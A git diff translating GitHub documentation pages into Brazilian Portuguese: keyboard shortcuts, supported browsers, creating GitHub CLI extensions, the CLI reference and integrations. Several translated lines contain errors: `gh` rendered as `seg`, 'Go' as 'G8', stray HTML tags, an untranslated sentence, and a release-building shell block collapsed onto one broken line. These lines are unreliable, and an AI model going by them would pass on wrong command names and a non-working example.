 {% ifversion fpt or ghec %}
 ## {% data variables.product.prodname_actions %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>command + space </kbd> or <kbd>control + space</kbd> | In the workflow editor, get suggestions for your workflow file.
-|<kbd>g</kbd> <kbd>f</kbd> | Go to the workflow file
-|<kbd>shift + t</kbd> or <kbd>T</kbd> | Toggle timestamps in logs
-|<kbd>shift + f</kbd> or <kbd>F</kbd> | Toggle full-screen logs
-|<kbd>esc</kbd> | Exit full-screen logs
+| Atalho                                                    | Descrição                                                                            |
+| --------------------------------------------------------- | ------------------------------------------------------------------------------------ |
+| <kbd>command + space </kbd> ou <kbd>control + space</kbd> | No editor de fluxo de trabalho, obtém sugestões para o arquivo de fluxo de trabalho. |
+| <kbd>g</kbd> <kbd>f</kbd>                                 | Acesse o arquivo do fluxo de trabalho                                                |
+| <kbd>shift + t</kbd> or <kbd>T</kbd>                      | Alternar as marcas de tempo nos registros                                            |
+| <kbd>shift + f</kbd> ou <kbd>F</kbd>                      | Alternar os registros em tela cheia                                                  |
+| <kbd>esc</kbd>                                            | Sair dos registros em tela cheia                                                     |
 
 {% endif %}
 
-## Notifications
-
+## Notificações
 {% ifversion fpt or ghes or ghae or ghec %}
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>e</kbd> | Mark as done
-| <kbd>shift + u</kbd>| Mark as unread
-| <kbd>shift + i</kbd>| Mark as read
-| <kbd>shift + m</kbd> | Unsubscribe
+| Atalho               | Descrição            |
+| -------------------- | -------------------- |
+| <kbd>e</kbd>         | Marcar como pronto   |
+| <kbd>shift + u</kbd> | Marcar como não lido |
+| <kbd>shift + i</kbd> | Marca como lido      |
+| <kbd>shift + m</kbd> | Cancelar assinatura  |
 
 {% else %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>e</kbd> or <kbd>I</kbd> or <kbd>y</kbd> | Mark as read
-|<kbd>shift + m</kbd> | Mute thread
+| Atalho                                       | Descrição       |
+| -------------------------------------------- | --------------- |
+| <kbd>e</kbd> ou <kbd>I</kbd> ou <kbd>y</kbd> | Marca como lido |
+| <kbd>shift + m</kbd>                         | Desativa o som  |
 {% endif %}
 
-## Network graph
+## gráfico de rede
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>←</kbd> or <kbd>h</kbd> | Scroll left
-|<kbd>→</kbd> or <kbd>l</kbd> | Scroll right
-|<kbd>↑</kbd> or <kbd>k</kbd> | Scroll up
-|<kbd>↓</kbd> or <kbd>j</kbd> | Scroll down
-|<kbd>shift + ←</kbd> or <kbd>shift + h</kbd> | Scroll all the way left
-|<kbd>shift + →</kbd> or <kbd>shift + l</kbd> | Scroll all the way right
-|<kbd>shift + ↑</kbd> or <kbd>shift + k</kbd> | Scroll all the way up
-|<kbd>shift + ↓</kbd> or <kbd>shift + j</kbd> | Scroll all the way down
+| Atalho                                       | Descrição                        |
+| -------------------------------------------- | -------------------------------- |
+| <kbd>←</kbd> ou <kbd>h</kbd>                 | Rola para a esquerda             |
+| <kbd>→</kbd> ou <kbd>l</kbd>                 | Rola para a direita              |
+| <kbd>↑</kbd> ou <kbd>k</kbd>                 | Rola para cima                   |
+| <kbd>↓</kbd> ou <kbd>j</kbd>                 | Rola para baixo                  |
+| <kbd>shift + ←</kbd> ou <kbd>shift + h</kbd> | Rola até o final para a esquerda |
+| <kbd>shift + →</kbd> ou <kbd>shift + l</kbd> | Rola até o final para a direita  |
+| <kbd>shift + ↑</kbd> ou <kbd>shift + k</kbd> | Rola até o final para cima       |
+| <kbd>shift + ↓</kbd> ou <kbd>shift + j</kbd> | Rola até o final para baixo      |
diff --git a/translations/pt-BR/content/get-started/using-github/supported-browsers.md b/translations/pt-BR/content/get-started/using-github/supported-browsers.md
index 610b6584c6..043bc2fda8 100644
--- a/translations/pt-BR/content/get-started/using-github/supported-browsers.md
+++ b/translations/pt-BR/content/get-started/using-github/supported-browsers.md
@@ -1,22 +1,23 @@
 ---
-title: Supported browsers
+title: Navegadores compatíveis
 redirect_from:
   - /articles/why-doesn-t-graphs-work-with-ie-8
   - /articles/why-don-t-graphs-work-with-ie8
   - /articles/supported-browsers
   - /github/getting-started-with-github/supported-browsers
   - /github/getting-started-with-github/using-github/supported-browsers
-intro: 'We design {% data variables.product.product_name %} to support the latest web browsers. We support the current versions of [Chrome](https://www.google.com/chrome/), [Firefox](http://www.mozilla.org/firefox/), [Safari](http://www.apple.com/safari/), and [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge).'
+intro: 'Nós projetamos o {% data variables.product.product_name %} para ser compatível com os navegadores web mais recentes. Oferecemos suporte às versões atuais de [Chrome](https://www.google.com/chrome/), [Firefox](http://www.mozilla.org/firefox/), [Safari](http://www.apple.com/safari/) e [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge).'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Firefox Extended Support Release
 
-We do our best to support Firefox's latest [Extended Support Release](https://www.mozilla.org/en-US/firefox/organizations/) (ESR). Older versions of Firefox may disable some features on {% data variables.product.product_name %} and require the latest version of Firefox.
+## Versão de suporte estendido do Firefox
 
-## Beta and developer builds
+Fazemos o máximo possível para oferecer suporte à [Versão de suporte estendido](https://www.mozilla.org/en-US/firefox/organizations/) (ESR) mais recente do Firefox. Versões mais antigas do Firefox podem desabilitar alguns recursos no {% data variables.product.product_name %} e exigir a versão mais recente do Firefox.
 
-You may encounter unexpected bugs in beta and developer builds of our supported browsers. If you encounter a bug on {% data variables.product.product_name %} in one of these unreleased builds, please verify that it also exists in the stable version of the same browser. If the bug only exists in the unstable version, consider reporting the bug to the browser developer.
+## Compilações Beta e de desenvolvedor
+
+Podem ocorrer erros inesperados nas compilações Beta e de desenvolvedor dos navegadores compatíveis. Se você encontrar um erro no {% data variables.product.product_name %} em uma dessas compilações ainda não lançadas, verifique se ele também ocorre na versão estável do mesmo navegador. Caso o erro só exista na versão instável, considere a possibilidade de relatar o erro ao desenvolvedor do navegador.
diff --git a/translations/pt-BR/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/pt-BR/content/github-cli/github-cli/creating-github-cli-extensions.md
index e51a8bd6a9..8d2f63a419 100644
--- a/translations/pt-BR/content/github-cli/github-cli/creating-github-cli-extensions.md
+++ b/translations/pt-BR/content/github-cli/github-cli/creating-github-cli-extensions.md
@@ -1,6 +1,6 @@
 ---
-title: Creating GitHub CLI extensions
-intro: 'Learn how to share new {% data variables.product.prodname_cli %} commands with other users by creating custom extensions for {% data variables.product.prodname_cli %}.'
+title: Criando extensões da CLI do GitHub
+intro: 'Aprenda a compartilhar novos comandos {% data variables.product.prodname_cli %} com outros usuários criando extensões personalizadas para {% data variables.product.prodname_cli %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -10,77 +10,77 @@ topics:
   - CLI
 ---
 
-## About {% data variables.product.prodname_cli %} extensions
+## Sobre extensões de {% data variables.product.prodname_cli %}
 
-{% data reusables.cli.cli-extensions %} For more information about how to use {% data variables.product.prodname_cli %} extensions, see "[Using {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/using-github-cli-extensions)."
+{% data reusables.cli.cli-extensions %} Para obter mais informações sobre como usar as extensões de {% data variables.product.prodname_cli %}, consulte "[Usando extensões de {% data variables.product.prodname_cli %}](/github-cli/github-cli/using-github-cli-extensions)".
 
-You need a repository for each extension that you create. The repository name must start with `gh-`. The rest of the repository name is the name of the extension. The repository must have an executable file at its root with the same name as the repository or a set of precompiled binary executables attached to a release.
+É necessário um repositório para cada extensão que você criar. O nome do repositório deve iniciar com `gh-`. O restante do nome do repositório é o nome da extensão. O repositório deve ter um arquivo executável na sua raiz com o mesmo nome que o repositório ou um conjunto de executáveis binários pré-compilados anexados a uma versão.
 
 {% note %}
 
-**Note**: When relying on an executable script, we recommend using a bash script because bash is a widely available interpreter. You may use non-bash scripts, but the user must have the necessary interpreter installed in order to use the extension. If you would prefer to not rely on users having interpreters installed, consider a precompiled extension.
+**Observação**: Ao confiar em um script executável, recomendamos o uso de um script de bash porque bash é um intérprete amplamente disponível. Você pode usar scripts que não são de bash, mas o usuário deverá ter o intérprete necessário instalado para usar a extensão. Se você preferir não confiar que os usuários têm intérpretes instalados, considere uma extensão pré-compilada.
 
 {% endnote %}
 
-## Creating an interpreted extension with `gh extension create`
+## Criando uma extensão interpretada com `gh extension create`
 
 {% note %}
 
-**Note**: Running `gh extension create` with no arguments will start an interactive wizard.
+**Observação**: A execução `gh extension create` sem argumentos irá iniciar um assistente interativo.
 
 {% endnote %}
 
-You can use the `gh extension create` command to create a project for your extension, including a bash script that contains some starter code.
+Você pode usar o comando `gh extension create` para criar um projeto para sua extensão, incluindo um script de bash que contém um código inicial.
 
-1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension.
+1. Configure uma nova extensão usando a o subcomando `gh extension create`. Substitua `EXTENSION-NAME` pelo nome da sua extensão.
 
     ```shell
     gh extension create <em>EXTENSION-NAME</em>
     ```
 
-1. Follow the printed instructions to finalize and optionally publish your extension.
+1. Siga as instruções impressas para finalizar e, opcionalmente, publicar sua extensão.
 
-## Creating a precompiled extension in Go with `gh extension create`
+## A criação de uma extensão pré-compilada em Go com `gh extension create`
 
-You can use the `--precompiled=go` argument to create a Go-based project for your extension, including Go scaffolding, workflow scaffolding, and starter code.
+Você pode usar o argumento `--precompiled=go` para criar um projeto baseado em Go para sua extensão, incluindo Go scaffolding, scaffolding de fluxo de trabalho e código inicial.
 
-1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension and specify `--precompiled=go`.
+1. Configure uma nova extensão usando a o subcomando `gh extension create`. Substitua `EXTENSION-NOME` pelo nome da sua extensão e especifique `--precompiled=go`.
 
     ```shell
     gh extension create --precompiled=go <em>EXTENSION-NAME</em>
     ```
 
-1. Follow the printed instructions to finalize and optionally publish your extension.
+1. Siga as instruções impressas para finalizar e, opcionalmente, publicar sua extensão.
 
-## Creating a non-Go precompiled extension with `gh extension create`
+## Criando uma extensão pré-compilada que não é do Go com `gh extension create`
 
-You can use the `--precompiled=other` argument to create a project for your non-Go precompiled extension, including workflow scaffolding.
+Você pode usar o argumento `--precompiled=other` para criar um projeto para sua extensão pré-compilada fora do G8, incluindo o scaffolding do fluxo de trabalho.
 
-1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension and specify `--precompiled=other`.
+1. Configure uma nova extensão usando a o subcomando `gh extension create`. Substitua `EXTENSION-NOME` pelo nome da sua extensão e especifique `--precompiled=other`.
 
     ```shell
     gh extension create --precompiled=other <em>EXTENSION-NAME</em>
     ```
 
-1. Add some initial code for your extension in your compiled language of choice.
+1. Adicione um código inicial para sua extensão na linguagem compilada escolhida.
 
-1. Fill in `script/build.sh` with code to build your extension to ensure that your extension can be built automatically.
+1. Preencha `script/build.sh` com código para criar sua extensão e garantir que a sua extensão possa ser construída automaticamente.
 
-1. Follow the printed instructions to finalize and optionally publish your extension.
+1. Siga as instruções impressas para finalizar e, opcionalmente, publicar sua extensão.
 
-## Creating an interpreted extension manually
+## Criando uma extensão interpretada manualmente
 
-1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`.
+1. Crie um diretório local denominado `gh-EXTENSION-NAME` para a sua extensão. Substitua `EXTENSION-NAME` pelo nome da sua extensão. Por exemplo, `gh-whoami`.
 
-1. In the directory that you created, add an executable file with the same name as the directory.
+1. No diretório que você criou, adicione um arquivo executável com o mesmo nome do diretório.
 
   {% note %}
 
-  **Note:** Make sure that your file is executable. On Unix, you can execute `chmod +x file_name` in the command line to make `file_name` executable. On Windows, you can run `git init -b main`, `git add file_name`, then `git update-index --chmod=+x file_name`.
+  **Observação:** Certifique-se de que seu arquivo seja executável. No Unix, você pode executar `chmod +x file_name` na linha de comando para tornar `file_name` executável. No Windows, você pode executar `git init -b main`, `git add file_name` e, em seguida, `git update-index --chmod=+x file_name`.
 
   {% endnote %}
 
-1. Write your script in the executable file. For example:
+1. Escreva seu script no arquivo executável. Por exemplo:
 
   ```bash
   #!/usr/bin/env bash
@@ -88,19 +88,19 @@ You can use the `--precompiled=other` argument to create a project for your non-
   exec gh api user --jq '"You are @\(.login) (\(.name))."'
   ```
 
-1. From your directory, install the extension as a local extension.
+1. No seu diretório, instale a extensão como uma extensão local.
 
    ```shell
    gh extension install .
    ```
 
-1. Verify that your extension works. Replace `EXTENSION-NAME` with the name of your extension. For example, `whoami`.
+1. Verifique se sua extensão funciona. Substitua `EXTENSION-NAME` pelo nome da sua extensão. Por exemplo, `whoami`.
 
    ```shell
    gh <em>EXTENSION-NAME</em>
    ```
 
-1. From your directory, create a repository to publish your extension. Replace `EXTENSION-NAME` with the name of your extension.
+1. No seu diretório, crie um repositório para publicar a sua extensão. Substitua `EXTENSION-NAME` pelo nome da sua extensão.
 
    ```shell
    git init -b main
@@ -108,15 +108,23 @@ You can use the `--precompiled=other` argument to create a project for your non-
    gh repo create gh-<em>EXTENSION-NAME</em> --source=. --public --push
    ```
 
-1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)."
+1. Opcionalmente, para ajudar outros usuários a descobrir sua extensão, adicione o tópico do repositório `gh-extension`. Isso fará com que a extensão apareça na página do tópico</a> de
 
-## Tips for writing interpreted {% data variables.product.prodname_cli %} extensions
+`gh-extension`. Para obter mais informações sobre como adicionar um tópico do repositório, consulte "[Classificando seu repositório com tópicos](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)".</p></li> </ol> 
+   
+   
 
-### Handling arguments and flags
+## Dicas para escrever extensões de {% data variables.product.prodname_cli %} interpretadas
+
+
+
+### Manipulando argumentos e sinalizadores
+
+Todos os argumentos de linha de comando após um `gh my-extension-name` serão passados para o script da extensão. Em um script de bash, você pode fazer referência a argumentos com `$1`, `$2`, etc. Você pode usar argumentos para inserir o usuário ou modificar o comportamento do script.
+
+Por exemplo, este script manipula vários sinalizadores. Quando o script é chamado com o sinalizador `-h` ou `--help` flag, o script imprime texto ao invés de continuar a execução. Quando o script é chamado com o o sinalizador `--name`, o script define o próximo valor após o sinalizador para `name_arg`. Quando o script é chamado com o sinalizador `--verbose`, o script imprime uma saudação diferente.
 
-All command line arguments following a `gh my-extension-name` command will be passed to the extension script. In a bash script, you can reference arguments with `$1`, `$2`, etc. You can use arguments to take user input or to modify the behavior of the script.
 
-For example, this script handles multiple flags. When the script is called with the `-h` or `--help` flag, the script prints help text instead of continuing execution. When the script is called with the `--name` flag, the script sets the next value after the flag to `name_arg`. When the script is called with the `--verbose` flag, the script prints a different greeting.
 
 ```bash
 #!/usr/bin/env bash
@@ -152,43 +160,64 @@ else
 fi
 ```
 
-### Calling core commands in non-interactive mode
 
-Some {% data variables.product.prodname_cli %} core commands will prompt the user for input. When scripting with those commands, a prompt is often undesirable. To avoid prompting, supply the necessary information explicitly via arguments.
 
-For example, to create an issue programmatically, specify the title and body:
+
+### Chamar comandos do núcleo em modo não interativo
+
+Alguns comandos principais de {% data variables.product.prodname_cli %} principais pedirão entrada ao usuário. Ao escrever com esses comandos, a instrução é frequentemente indesejável. Para evitar a instrução, forneça a informação necessária explicitamente por meio de argumentos.
+
+Por exemplo, para criar um problema de modo programático, especifique o título e o texto:
+
+
 
 ```shell
 gh issue create --title "My Title" --body "Issue description"
 ```
 
-### Fetching data programatically
 
-Many core commands support the `--json` flag for fetching data programatically. For example, to return a JSON object listing the number, title, and mergeability status of pull requests:
+
+
+### Buscando dados programaticamente
+
+Muitos comandos principais são compatíveis o sinalizador `--json` para obter dados programaticamente. Por exemplo, para retornar um objeto JSON listando o número, título e status de mesclabilidade dos pull requests:
+
+
 
 ```shell
 gh pr list --json number,title,mergeStateStatus
 ```
 
-If there is not a core command to fetch specific data from GitHub, you can use the [`gh api`](https://cli.github.com/manual/gh_api) command to access the GitHub API. For example, to fetch information about the current user:
+
+Se não houver um comando do núcleo para buscar dados específicos do GitHub, você poderá usar o comando [`gh api`](https://cli.github.com/manual/gh_api) para acessar a API do GitHub. Por exemplo, para obter informações sobre o usuário atual:
+
+
 
 ```shell
 gh api user
 ```
 
-All commands that output JSON data also have options to filter that data into something more immediately usable by scripts. For example, to get the current user's name:
+
+Todos os comandos que os dados JSON de saída também têm opções para filtrar esses dados em algo mais imediatamente utilizável por scripts. Por exemplo, para obter o nome do usuário atual:
+
+
 
 ```shell
 gh api user --jq '.name'
 ```
 
-For more information, see [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting).
 
-## Creating a precompiled extension manually
+Para obter mais informações, consulte [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting).
 
-1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`.
 
-1. In the directory you created, add some source code. For example:
+
+## Criando uma extensão pré-compilada manualmente
+
+1. Crie um diretório local denominado `gh-EXTENSION-NAME` para a sua extensão. Substitua `EXTENSION-NAME` pelo nome da sua extensão. Por exemplo, `gh-whoami`.
+
+1. No diretório que você criou, adicione um código-fonte. Por exemplo: 
+   
+   
 
     ```go
     package main
@@ -208,13 +237,19 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
     }
     ```
 
-1. From your directory, install the extension as a local extension.
+
+1. No seu diretório, instale a extensão como uma extensão local. 
+   
+   
 
     ```shell
     gh extension install .
     ```
 
-1. Build your code. For example, with Go, replacing `YOUR-USERNAME` with your GitHub username:
+
+1. Construa o seu código. Por exemplo, com o Go, substituindo `YOUR-USERNAME` pelo seu nome de usuário do GitHub: 
+   
+   
 
     ```shell
     go mod init github.com/<em>YOUR-USERNAME</em>/gh-whoami
@@ -222,19 +257,25 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
     go build
     ```
 
-1. Verify that your extension works. Replace `EXTENSION-NAME` with the name of your extension. For example, `whoami`.
+
+1. Verifique se sua extensão funciona. Substitua `EXTENSION-NAME` pelo nome da sua extensão. Por exemplo, `whoami`. 
+   
+   
 
     ```shell
     gh <em>EXTENSION-NAME</em>
     ```
 
-1. From your directory, create a repository to publish your extension. Replace `EXTENSION-NAME` with the name of your extension.
 
-  {% note %}
-
-  **Note:** Be careful not to commit the binary produced by your compilation step to version control.
-
-  {% endnote %}
+1. No seu diretório, crie um repositório para publicar a sua extensão. Substitua `EXTENSION-NAME` pelo nome da sua extensão.
+   
+   {% note %}
+   
+   **Observação:** Tenha cuidado para não fazer commit do binário produzido pela etapa de compilação para o controle de versão.
+   
+   {% endnote %}
+   
+   
 
     ```shell
     git init -b main
@@ -243,39 +284,42 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
     gh repo create "gh-<em>EXTENSION-NAME</em>"
     ```
 
-1. Create a release to share your precompiled extension with others. Compile for each platform you want to support, attaching each binary to a release as an asset. Binary executables attached to releases must follow a naming convention and have a suffix of <em>OS-ARCHITECTURE\[EXTENSION\]</em>.
 
-  For example, an extension named `whoami` compiled for Windows 64bit would have the name `gh-whoami-windows-amd64.exe` while the same extension compiled for Linux 32bit would have the name `gh-whoami-linux-386`. To see an exhaustive list of OS and architecture combinations recognized by `gh`, see [this source code](https://github.com/cli/cli/blob/14f704fd0da58cc01413ee4ba16f13f27e33d15e/pkg/cmd/extension/manager.go#L696).
+1. Crie uma versão para compartilhar sua extensão pré-compilada com outras pessoas. Faça a compilação para cada plataforma que você deseja suportar, anexando cada binário a uma versão como um ativo. Os executáveis binários anexados às versões devem seguir uma convenção de nomes e ter um sufixo de <em>OS-ARCHITECTURE\[EXTENSION\]</em>.
+   
+   Por exemplo, uma extensão denominada `whoami` compilada para Windows 64bit teria o nome `gh-whoami-windows-amd64.exe` enquanto a mesma extensão compilada para Linux 32bit teria o nome `gh-whoami-linux-386`. Para ver uma lista taxativa de combinações de OS e de arquitetura reconhecidas por `seg`, consulte [este código-fonte](https://github.com/cli/cli/blob/14f704fd0da58cc01413ee4ba16f13f27e33d15e/pkg/cmd/extension/manager.go#L696).
+   
+   {% note %}
+   
+   **Observação:** Para que a sua extensão seja executada corretamente no Windows, seu arquivo de ativo deve ter uma extensão `.exe`. Não é necessária qualquer extensão para outros sistemas operacionais.
+   
+   {% endnote %}
+   
+   As versões podem ser criadas a partir da linha de comando. Por exemplo:
+   
+   ```shell git tag v1.0.0 git push origin v1.0.0 GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64 GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64 gh release create v1.0.0 ./*amd64*
 
-  {% note %}
-
-  **Note:** For your extension to run properly on Windows, its asset file must have a `.exe` extension. No extension is needed for other operating systems.
-
-  {% endnote %}
-
-  Releases can be created from the command line. For example:
-
-  ```shell
-  git tag v1.0.0
-  git push origin v1.0.0
-  GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe
-  GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64
-  GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64
-  gh release create v1.0.0 ./*amd64*
-
-1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)."
+1. Opcionalmente, para ajudar outros usuários a descobrir sua extensão, adicione o tópico do repositório `gh-extension`. Isso fará com que a extensão apareça na página do tópico</a> de `gh-extension`. Para obter mais informações sobre como adicionar um tópico do repositório, consulte "[Classificando seu repositório com tópicos](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)".</p></li> </ol> 
+   
+   
 
 
-## Tips for writing precompiled {% data variables.product.prodname_cli %} extensions
+## Dicas para escrever extensões de {% data variables.product.prodname_cli %} pré-compiladas
 
-### Automating releases
 
-Consider adding the [gh-extension-precompile](https://github.com/cli/gh-extension-precompile) action to a workflow in your project. This action will automatically produce cross-compiled Go binaries for your extension and supplies build scaffolding for non-Go precompiled extensions.
 
-### Using {% data variables.product.prodname_cli %} features from Go-based extensions
+### Automatizando as versões
 
-Consider using [go-gh](https://github.com/cli/go-gh), a Go library that exposes pieces of `gh` functionality for use in extensions.
+Considere adicionar a ação [gh-extension-precompilar](https://github.com/cli/gh-extension-precompile) ao fluxo de trabalho no seu projeto. This action will automatically produce cross-compiled Go binaries for your extension and supplies build scaffolding for non-Go precompiled extensions.
 
-## Next steps
 
-To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension).
+
+### Usando funcionalidades de {% data variables.product.prodname_cli %} a partir de extensões do Go
+
+Considere usar [go-gh](https://github.com/cli/go-gh), uma biblioteca do Go que expõe a funcionalidade `gh` para uso em extensões.
+
+
+
+## Próximas etapas
+
+Para ver mais exemplos de extensões {% data variables.product.prodname_cli %}, consulte [repositórios com o tópico de extensão `gh-extension`](https://github.com/topics/gh-extension).
diff --git a/translations/pt-BR/content/github-cli/github-cli/github-cli-reference.md b/translations/pt-BR/content/github-cli/github-cli/github-cli-reference.md
index 8ebd76264c..356d7285a5 100644
--- a/translations/pt-BR/content/github-cli/github-cli/github-cli-reference.md
+++ b/translations/pt-BR/content/github-cli/github-cli/github-cli-reference.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub CLI reference
-intro: 'You can view all of the {% data variables.product.prodname_cli %} commands in your terminal or in the {% data variables.product.prodname_cli %} manual.'
+title: Referência da CLI do GitHub
+intro: 'Você pode visualizar todos os comandos de {% data variables.product.prodname_cli %} no seu terminal ou no manual de {% data variables.product.prodname_cli %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -11,25 +11,25 @@ topics:
 type: reference
 ---
 
-To view all top-level {% data variables.product.prodname_cli %} commands, see the [{% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh) or call `gh` without arguments.
+Para visualizar todos os comandos de {% data variables.product.prodname_cli %} de alto nível, consulte o manual de [{% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh) ou ligue para `gh` sem argumentos.
 
 ```shell
 gh
 ```
 
-To list all commands under a specific group, use the top-level command without arguments. For example, to list [commands for managing repositories](https://cli.github.com/manual/gh_repo):
+Para listar todos os comandos sob um grupo específico, use o comando de nível superior sem argumentos. Por exemplo, para listar [comandos para gerenciar repositórios](https://cli.github.com/manual/gh_repo):
 
 ```shell
 gh repo
 ```
 
-To view the environment variables that can be used with {% data variables.product.prodname_cli %}, see the [{% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_help_environment) or use the `environment` command.
+Para ver as variáveis de ambiente que podem ser usadas com {% data variables.product.prodname_cli %}, consulte o [manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_help_environment) ou use o comando `ambiente`.
 
 ```shell
 gh environment
 ```
 
-To view the configuration settings that can be used with {% data variables.product.prodname_cli %}, see the [{% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_config) or use the `config` command.
+Para ver as configurações que podem ser usadas com {% data variables.product.prodname_cli %}, consulte o [manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_config) ou use o comando `config`.
 
 ```shell
 gh config
diff --git a/translations/pt-BR/content/github/copilot/index.md b/translations/pt-BR/content/github/copilot/index.md
index 2e967d1c26..54ab018dd5 100644
--- a/translations/pt-BR/content/github/copilot/index.md
+++ b/translations/pt-BR/content/github/copilot/index.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Copilot
-intro: 'You can use {% data variables.product.prodname_dotcom %} Copilot to assist with your programming in your editor'
+intro: 'Você pode usar o copilot de {% data variables.product.prodname_dotcom %} para ajudar com sua programação no seu editor'
 versions:
   fpt: '*'
 children:
diff --git a/translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md b/translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md
index a0bd851731..5485df5717 100644
--- a/translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md
+++ b/translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md
@@ -1,6 +1,6 @@
 ---
-title: About integrations
-intro: 'Integrations are tools and services that connect with {% data variables.product.product_name %} to complement and extend your workflow.'
+title: Sobre integrações
+intro: 'As integrações são ferramentas e serviços que se conectam ao {% data variables.product.product_name %} para complementar e estender o fluxo de trabalho.'
 redirect_from:
   - /articles/about-integrations
   - /github/customizing-your-github-workflow/about-integrations
@@ -8,34 +8,35 @@ versions:
   fpt: '*'
   ghec: '*'
 ---
-You can install integrations in your personal account or organizations you own. You can also install {% data variables.product.prodname_github_apps %} from a third-party in a specific repository where you have admin permissions or which is owned by your organization.
 
-## Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}
+Você pode instalar integrações em sua conta pessoal ou em organizações que possui. Você também pode instalar {% data variables.product.prodname_github_apps %} a partir de um repositório específico em um repositório específico em que você tem permissões de administrador ou que pertencem à sua organização.
 
-Integrations can be {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, or anything that utilizes {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs or webhooks.
+## Diferenças entre {% data variables.product.prodname_github_apps %} e {% data variables.product.prodname_oauth_apps %}
 
-{% data variables.product.prodname_github_apps %} offer granular permissions and request access to only what the app needs. {% data variables.product.prodname_github_apps %} also offer specific user-level permissions that each user must authorize individually when an app is installed or when the integrator changes the permissions requested by the app.
+As integrações podem ser {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, ou qualquer coisa que utilize {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs ou webhooks.
 
-For more information, see:
-- "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)"
-- "[About apps](/apps/about-apps/)"
-- "[User-level permissions](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions)"
-- "[Authorizing {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
-- "[Authorizing {% data variables.product.prodname_github_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)"
-- "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations/)"
+{% data variables.product.prodname_github_apps %} oferecem permissões granulares e solicitam acesso apenas ao que o aplicativo precisa. {% data variables.product.prodname_github_apps %} também oferece permissões específicas no nível de usuário que cada um deve autorizar individualmente quando um aplicativo está instalado ou quando o integrador altera as permissões solicitadas pelo aplicativo.
 
-You can install a preconfigured {% data variables.product.prodname_github_app %}, if the integrators or app creators have created their app with the {% data variables.product.prodname_github_app %} manifest flow. For information about how to  run your {% data variables.product.prodname_github_app %} with automated configuration, contact the integrator or app creator.
+Para obter mais informações, consulte:
+- "[Diferenças entre {% data variables.product.prodname_github_apps %} e {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)"
+- "[Sobre aplicativos](/apps/about-apps/)"
+- "[Permissões de nível de usuário](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions)"
